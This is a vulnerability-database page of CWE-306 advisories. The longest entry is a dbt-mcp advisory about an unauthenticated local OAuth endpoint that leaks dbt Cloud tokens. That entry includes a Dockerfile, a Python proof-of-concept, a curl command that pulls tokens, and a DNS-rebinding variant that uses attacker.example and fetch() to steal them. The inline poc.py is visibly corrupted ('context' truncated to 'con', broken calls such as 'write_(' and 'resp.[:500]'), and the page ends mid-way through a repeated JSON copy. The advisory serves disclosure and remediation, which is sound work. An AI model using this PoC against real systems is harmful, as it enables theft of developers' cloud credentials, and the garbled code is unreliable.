Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3469 vulnerabilities reference this CWE, most recent first.

GHSA-JQM5-J7H7-59W8

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31
VLAI
Details

Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-34289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:33Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 5.9 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-jqm5-j7h7-59w8",
  "modified": "2026-04-21T21:31:26Z",
  "published": "2026-04-21T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34289"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQMM-X5XP-F3PQ

Vulnerability from github – Published: 2022-07-27 00:00 – Updated: 2022-08-05 00:00
VLAI
Details

The Emerson DeltaV Distributed Control System (DCS) through 2022-04-29 mishandles authentication. It utilizes several proprietary protocols for a wide variety of functionality. These protocols include Firmware upgrade (18508/TCP, 18518/TCP); Plug-and-Play (18510/UDP); Hawk services (18507/UDP); Management (18519/TCP); Cold restart (18512/UDP); SIS communications (12345/TCP); and Wireless Gateway Protocol (18515/UDP). None of these protocols have any authentication features, allowing any attacker capable of communicating with the ports in question to invoke (a subset of) desired functionality.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-29957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-26T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Emerson DeltaV Distributed Control System (DCS) through 2022-04-29 mishandles authentication. It utilizes several proprietary protocols for a wide variety of functionality. These protocols include Firmware upgrade (18508/TCP, 18518/TCP); Plug-and-Play (18510/UDP); Hawk services (18507/UDP); Management (18519/TCP); Cold restart (18512/UDP); SIS communications (12345/TCP); and Wireless Gateway Protocol (18515/UDP). None of these protocols have any authentication features, allowing any attacker capable of communicating with the ports in question to invoke (a subset of) desired functionality.",
  "id": "GHSA-jqmm-x5xp-f3pq",
  "modified": "2022-08-05T00:00:29Z",
  "published": "2022-07-27T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29957"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-181-03"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQVG-R3V8-55FM

Vulnerability from github – Published: 2022-04-03 00:01 – Updated: 2022-04-13 00:00
VLAI
Details

The software does not perform any authentication for critical system functionality.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-0922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-01T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The software does not perform any authentication for critical system functionality.",
  "id": "GHSA-jqvg-r3v8-55fm",
  "modified": "2022-04-13T00:00:50Z",
  "published": "2022-04-03T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0922"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsma-22-088-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR33-MW75-7J8F

Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15
VLAI
Summary
dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens
Details

Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

Summary

The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbt_platform_context endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full DbtPlatformContext object — including the victim's access_token and refresh_token for the dbt Platform API — verbatim to any caller that can reach 127.0.0.1:6785. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High).

Details

During the OAuth login flow, dbt-mcp launches an embedded FastAPI server (the "OAuth helper") bound to 127.0.0.1 starting on port 6785 (configured at src/dbt_mcp/config/credentials.py:34, OAUTH_REDIRECT_STARTING_PORT = 6785). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.

Data flow from source to sink:

  1. Source — src/dbt_mcp/oauth/fastapi_app.py:106: The OAuth callback receives token_response from the dbt Platform authorization server.
  2. src/dbt_mcp/oauth/dbt_platform.py:60: AccessTokenResponse(**token_response) stores access_token and refresh_token as plaintext fields.
  3. src/dbt_mcp/oauth/dbt_platform.py:64–69: The AccessTokenResponse is embedded inside DecodedAccessToken, which is in turn embedded inside DbtPlatformContext.
  4. src/dbt_mcp/oauth/fastapi_app.py:114: The fully token-bearing DbtPlatformContext object is passed to context_manager for persistence.
  5. Persistence sink — src/dbt_mcp/oauth/context_manager.py:63–64: yaml.dump(context.model_dump()) serializes the entire model — including tokens — to a YAML file on disk.
  6. HTTP sink — src/dbt_mcp/oauth/fastapi_app.py:162–165: The GET /dbt_platform_context route reads the YAML file back and returns the raw DbtPlatformContext object with no redaction.
# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
    logger.info("Selected project received")
    return dbt_platform_context_manager.read_context() or DbtPlatformContext()

# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
    access_token: str
    refresh_token: str
    ...

class DbtPlatformContext(BaseModel):
    decoded_access_token: DecodedAccessToken | None = None
    ...

Missing protections (confirmed by grep):

  • No TrustedHostMiddleware — the server accepts requests with arbitrary Host headers, enabling DNS rebinding.
  • No CORSMiddleware — no cross-origin restrictions on which sites can read the response.
  • No CSRF protection, no session nonce, no Origin header validation.
  • The route has no FastAPI Depends() security dependency.

A grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin" across the OAuth FastAPI application returns no results.

Recommended remediation:

--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+    if context is None:
+        return DbtPlatformContext()
+    return context.model_copy(update={"decoded_access_token": None})

     app = FastAPI()
+    app.add_middleware(
+        TrustedHostMiddleware,
+        allowed_hosts=["localhost", "127.0.0.1"],
+    )

     @app.get("/dbt_platform_context")
     def get_dbt_platform_context() -> DbtPlatformContext:
         logger.info("Selected project received")
-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+        return _redact_context(dbt_platform_context_manager.read_context())

PoC

Prerequisites:

  • dbt-mcp v1.19.1 installed in a Python 3.12 environment.
  • The following runtime dependencies available: authlib~=1.6.7, fastapi~=0.128.0, uvicorn~=0.38.0, pyyaml~=6.0.2, httpx~=0.28.1, starlette~=0.50.0, pydantic~=2.0, pydantic-settings~=2.10.1.
  • No DBT_TOKEN set (OAuth flow mode active).

Step 1 — Build the Docker test environment:

docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .

The Dockerfile installs only the OAuth helper's runtime dependencies and copies src/ and poc.py:

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
    "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
    "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
    "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
    "pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

Step 2 — Run the PoC:

docker run --rm --network=host vuln001-dbt-mcp

The PoC script (poc.py) performs the following automatically:

  1. Writes a realistic fake OAuth context YAML to /tmp/dbt_poc_mcp.yml, simulating a victim who has already completed the OAuth login flow.
  2. Instantiates the real create_app() from src/dbt_mcp/oauth/fastapi_app.py using DbtPlatformContextManager backed by the pre-seeded file.
  3. Starts the server on 127.0.0.1:16785 in a background thread.
  4. Issues an unauthenticated GET /dbt_platform_context with no Authorization header.
  5. Asserts that access_token and refresh_token are returned verbatim.

Equivalent manual curl (against the live OAuth helper during actual OAuth flow):

# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp   # OAuth helper starts on 127.0.0.1:6785

# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
  | jq '.decoded_access_token.access_token_response'

Expected output (Phase 2 observed):

[*] HTTP Status: 200
[*] Full response JSON:
{
  "decoded_access_token": {
    "access_token_response": {
      "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
      "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
      "expires_in": 3600,
      "scope": "user_access offline_access",
      "token_type": "Bearer",
      "expires_at": 9999999999
    },
    ...
  },
  ...
}
[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!

DNS rebinding variant:

A malicious website can resolve attacker.example to 127.0.0.1 after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any Host header, the browser treats http://attacker.example:6785 as same-origin and fetches /dbt_platform_context via JavaScript fetch(), obtaining the full token JSON across the network without any local access.

Impact

Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access_token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh_token (with offline_access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.

This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
 "authlib~=1.6.7" \
 "fastapi~=0.128.0" \
 "uvicorn~=0.38.0" \
 "pyjwt~=2.12.0" \
 "pyyaml~=6.0.2" \
 "httpx~=0.28.1" \
 "filelock~=3.20.3" \
 "starlette~=0.50.0" \
 "requests>=2.28" \
 "pydantic~=2.0" \
 "pydantic-settings~=2.10.1"

# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:
 - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
 - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
 - GET /dbt_platform_con is accessible with NO authentication at all.
 - Any process on the same host (or a DNS-rebinding browser page) can call it
 and receive the full access_token + refresh_token.

This PoC:
 1. Pre-seeds a con file with fake-but-realistic OAuth tokens
 (simulating a victim who has already completed the OAuth flow).
 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
 4. Confirms the tokens are returned verbatim.
"""

import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path

import httpx
import uvicorn
import yaml

# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE_CONTEXT = {
 "decoded_access_token": {
 "access_token_response": {
 "access_token": FAKE_ACCESS_TOKEN,
 "refresh_token": FAKE_REFRESH_TOKEN,
 "expires_in": 3600,
 "scope": "user_access offline_access",
 "token_type": "Bearer",
 "expires_at": 9999999999,
 },
 "decoded_claims": {
 "sub": "99999",
 "iat": 1700000000,
 "exp": 9999999999,
 },
 },
 "host_prefix": "victimco",
 "dbt_host": "cloud.getdbt.com",
 "account_id": 42,
 "selected_project_ids": None,
 "dev_environment": None,
 "prod_environment": None,
}

PORT = 16785


def start_server(context_file: Path, static_dir: str) -> None:
 """Run the actual vulnerable FastAPI app in a background thread."""
 from authlib.integrations.requests_client import OAuth2Session
 from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
 from dbt_mcp.oauth.fastapi_app import create_app

 context_manager = DbtPlatformContextManager(context_file)

 # A dummy OAuth client — only used by the /oauth-callback route,
 # which this PoC never triggers.
 fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")

 app = create_app(
 oauth_client=fake_oauth_client,
 state_to_verifier={},
 dbt_platform_url="https://cloud.getdbt.com",
 static_dir=static_dir,
 dbt_platform_context_manager=context_manager,
 )

 loop = asyncio.new_event_loop()
 asyncio.set_event_loop(loop)
 config = uvicorn.Config(
 app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
 )
 server = uvicorn.Server(config)
 loop.run_until_complete(server.serve())


def wait_for_server(port: int, timeout: float = 15.0) -> bool:
 import socket

 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 with socket.create_connection(("127.0.0.1", port), timeout=1):
 return True
 except OSError:
 time.sleep(0.2)
 return False


def main() -> int:
 print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak")
 print("=" * 70)

 # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
 context_file = Path("/tmp/dbt_poc_mcp.yml")
 context_file.write_(
 yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
 )
 print(f"[*] Con file written: {context_file}")
 print(f" access_token : {FAKE_ACCESS_TOKEN}")
 print(f" refresh_token : {FAKE_REFRESH_TOKEN}")

 # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
 static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
 (Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")

 # 3. Start the real vulnerable FastAPI server in a background thread
 t = threading.Thread(
 target=start_server, args=(context_file, static_dir), daemon=True
 )
 t.start()

 print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
 if not wait_for_server(PORT):
 print("[-] FAIL: Server did not start within timeout.")
 return 2

 print("[*] Server is up.")

 # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
 url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
 print(f"\n[*] Sending unauthenticated GET {url}")
 try:
 resp = httpx.get(url, timeout=10)
 except Exception as exc:
 print(f"[-] HTTP request failed: {exc}")
 return 2

 print(f"[*] HTTP Status: {resp.status_code}")

 if resp.status_code != 200:
 print(f"[-] FAIL: Expected 200, got {resp.status_code}")
 print(f" Body: {resp.[:500]}")
 return 1

 try:
 data = resp.json()
 except Exception as exc:
 print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
 return 1

 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")

 # 5. Verify that the tokens are in the response (no redaction, no auth required)
 try:
 leaked_access = (
 data["decoded_access_token"]["access_token_response"]["access_token"]
 )
 leaked_refresh = (
 data["decoded_access_token"]["access_token_response"]["refresh_token"]
 )
 except (KeyError, TypeError) as exc:
 print(f"\n[-] FAIL: Token fields missing from response: {exc}")
 return 1

 print(f"\n[!] LEAKED access_token : {leaked_access}")
 print(f"[!] LEAKED refresh_token : {leaked_refresh}")

 if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
 print(
 "\n[+] VULNERABILITY CONFIRMED:"
 " Tokens returned from /dbt_platform_con WITHOUT authentication!"
 )
 return 0
 else:
 print("\n[-] FAIL: Returned tokens do not match expected values.")
 print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
 print(f" Got access_token : {leaked_access}")
 return 1


if __name__ == "__main__":
 sys.exit(main())
Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dbt-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens\n\n### Summary\n\nThe local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object \u2014 including the victim\u0027s `access_token` and `refresh_token` for the dbt Platform API \u2014 verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim\u0027s browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token\u0027s expiry. **CVSS Base Score: 8.0 (High).**\n\n### Details\n\nDuring the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the \"OAuth helper\") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.\n\n**Data flow from source to sink:**\n\n1. **Source** \u2014 `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.\n2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.\n3. `src/dbt_mcp/oauth/dbt_platform.py:64\u201369`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.\n4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.\n5. **Persistence sink** \u2014 `src/dbt_mcp/oauth/context_manager.py:63\u201364`: `yaml.dump(context.model_dump())` serializes the entire model \u2014 including tokens \u2014 to a YAML file on disk.\n6. **HTTP sink** \u2014 `src/dbt_mcp/oauth/fastapi_app.py:162\u2013165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.\n\n```python\n# src/dbt_mcp/oauth/fastapi_app.py:162-165\n@app.get(\"/dbt_platform_context\")\ndef get_dbt_platform_context() -\u003e DbtPlatformContext:\n    logger.info(\"Selected project received\")\n    return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n```\n\n```python\n# src/dbt_mcp/oauth/dbt_platform.py:8-14\nclass AccessTokenResponse(BaseModel):\n    access_token: str\n    refresh_token: str\n    ...\n\nclass DbtPlatformContext(BaseModel):\n    decoded_access_token: DecodedAccessToken | None = None\n    ...\n```\n\n**Missing protections (confirmed by grep):**\n\n- No `TrustedHostMiddleware` \u2014 the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.\n- No `CORSMiddleware` \u2014 no cross-origin restrictions on which sites can read the response.\n- No CSRF protection, no session nonce, no `Origin` header validation.\n- The route has no FastAPI `Depends()` security dependency.\n\nA `grep -Rni \"TrustedHostMiddleware\\|CORSMiddleware\\|csrf\\|origin\"` across the OAuth FastAPI application returns no results.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/dbt_mcp/oauth/fastapi_app.py\n+++ b/src/dbt_mcp/oauth/fastapi_app.py\n+from starlette.middleware.trustedhost import TrustedHostMiddleware\n+\n+def _redact_context(context: DbtPlatformContext | None) -\u003e DbtPlatformContext:\n+    if context is None:\n+        return DbtPlatformContext()\n+    return context.model_copy(update={\"decoded_access_token\": None})\n\n     app = FastAPI()\n+    app.add_middleware(\n+        TrustedHostMiddleware,\n+        allowed_hosts=[\"localhost\", \"127.0.0.1\"],\n+    )\n\n     @app.get(\"/dbt_platform_context\")\n     def get_dbt_platform_context() -\u003e DbtPlatformContext:\n         logger.info(\"Selected project received\")\n-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n+        return _redact_context(dbt_platform_context_manager.read_context())\n```\n\n### PoC\n\n**Prerequisites:**\n\n- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.\n- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.\n- No `DBT_TOKEN` set (OAuth flow mode active).\n\n**Step 1 \u2014 Build the Docker test environment:**\n\n```bash\ndocker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .\n```\n\nThe `Dockerfile` installs only the OAuth helper\u0027s runtime dependencies and copies `src/` and `poc.py`:\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\nRUN pip install --no-cache-dir \\\n    \"authlib~=1.6.7\" \"fastapi~=0.128.0\" \"uvicorn~=0.38.0\" \\\n    \"pyjwt~=2.12.0\" \"pyyaml~=6.0.2\" \"httpx~=0.28.1\" \\\n    \"filelock~=3.20.3\" \"starlette~=0.50.0\" \"requests\u003e=2.28\" \\\n    \"pydantic~=2.0\" \"pydantic-settings~=2.10.1\"\nCOPY repo/src /app/src\nENV PYTHONPATH=/app/src\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n**Step 2 \u2014 Run the PoC:**\n\n```bash\ndocker run --rm --network=host vuln001-dbt-mcp\n```\n\nThe PoC script (`poc.py`) performs the following automatically:\n\n1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.\n2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.\n3. Starts the server on `127.0.0.1:16785` in a background thread.\n4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header.\n5. Asserts that `access_token` and `refresh_token` are returned verbatim.\n\n**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**\n\n```bash\n# While the victim is running the OAuth login flow:\nexport DBT_HOST=\u0027cloud.getdbt.com\u0027\nunset DBT_TOKEN\ndbt-mcp   # OAuth helper starts on 127.0.0.1:6785\n\n# From any co-located process (or a DNS-rebinding browser page):\ncurl -s \u0027http://127.0.0.1:6785/dbt_platform_context\u0027 \\\n  | jq \u0027.decoded_access_token.access_token_response\u0027\n```\n\n**Expected output (Phase 2 observed):**\n\n```\n[*] HTTP Status: 200\n[*] Full response JSON:\n{\n  \"decoded_access_token\": {\n    \"access_token_response\": {\n      \"access_token\": \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\",\n      \"refresh_token\": \"dbt-platform-offline-refresh-SUPERSECRET-abc123\",\n      \"expires_in\": 3600,\n      \"scope\": \"user_access offline_access\",\n      \"token_type\": \"Bearer\",\n      \"expires_at\": 9999999999\n    },\n    ...\n  },\n  ...\n}\n[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\n[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123\n[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!\n```\n\n**DNS rebinding variant:**\n\nA malicious website can resolve `attacker.example` to `127.0.0.1` after the browser\u0027s DNS TTL expires (\"DNS rebinding\"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.\n\n### Impact\n\nAny local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim\u0027s browser during or after the OAuth login session, can retrieve the victim\u0027s full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.\n\nThis vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed\n# because fastapi_app.py\u0027s import chain doesn\u0027t touch them)\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \\\n \"fastapi~=0.128.0\" \\\n \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \\\n \"pyyaml~=6.0.2\" \\\n \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \\\n \"starlette~=0.50.0\" \\\n \"requests\u003e=2.28\" \\\n \"pydantic~=2.0\" \\\n \"pydantic-settings~=2.10.1\"\n\n# Copy only the source tree needed for the OAuth server\nCOPY repo/src /app/src\n\nENV PYTHONPATH=/app/src\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens\n\nAttack scenario:\n - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.\n - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.\n - GET /dbt_platform_con is accessible with NO authentication at all.\n - Any process on the same host (or a DNS-rebinding browser page) can call it\n and receive the full access_token + refresh_token.\n\nThis PoC:\n 1. Pre-seeds a con file with fake-but-realistic OAuth tokens\n (simulating a victim who has already completed the OAuth flow).\n 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.\n 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).\n 4. Confirms the tokens are returned verbatim.\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport tempfile\nimport threading\nimport time\nfrom pathlib import 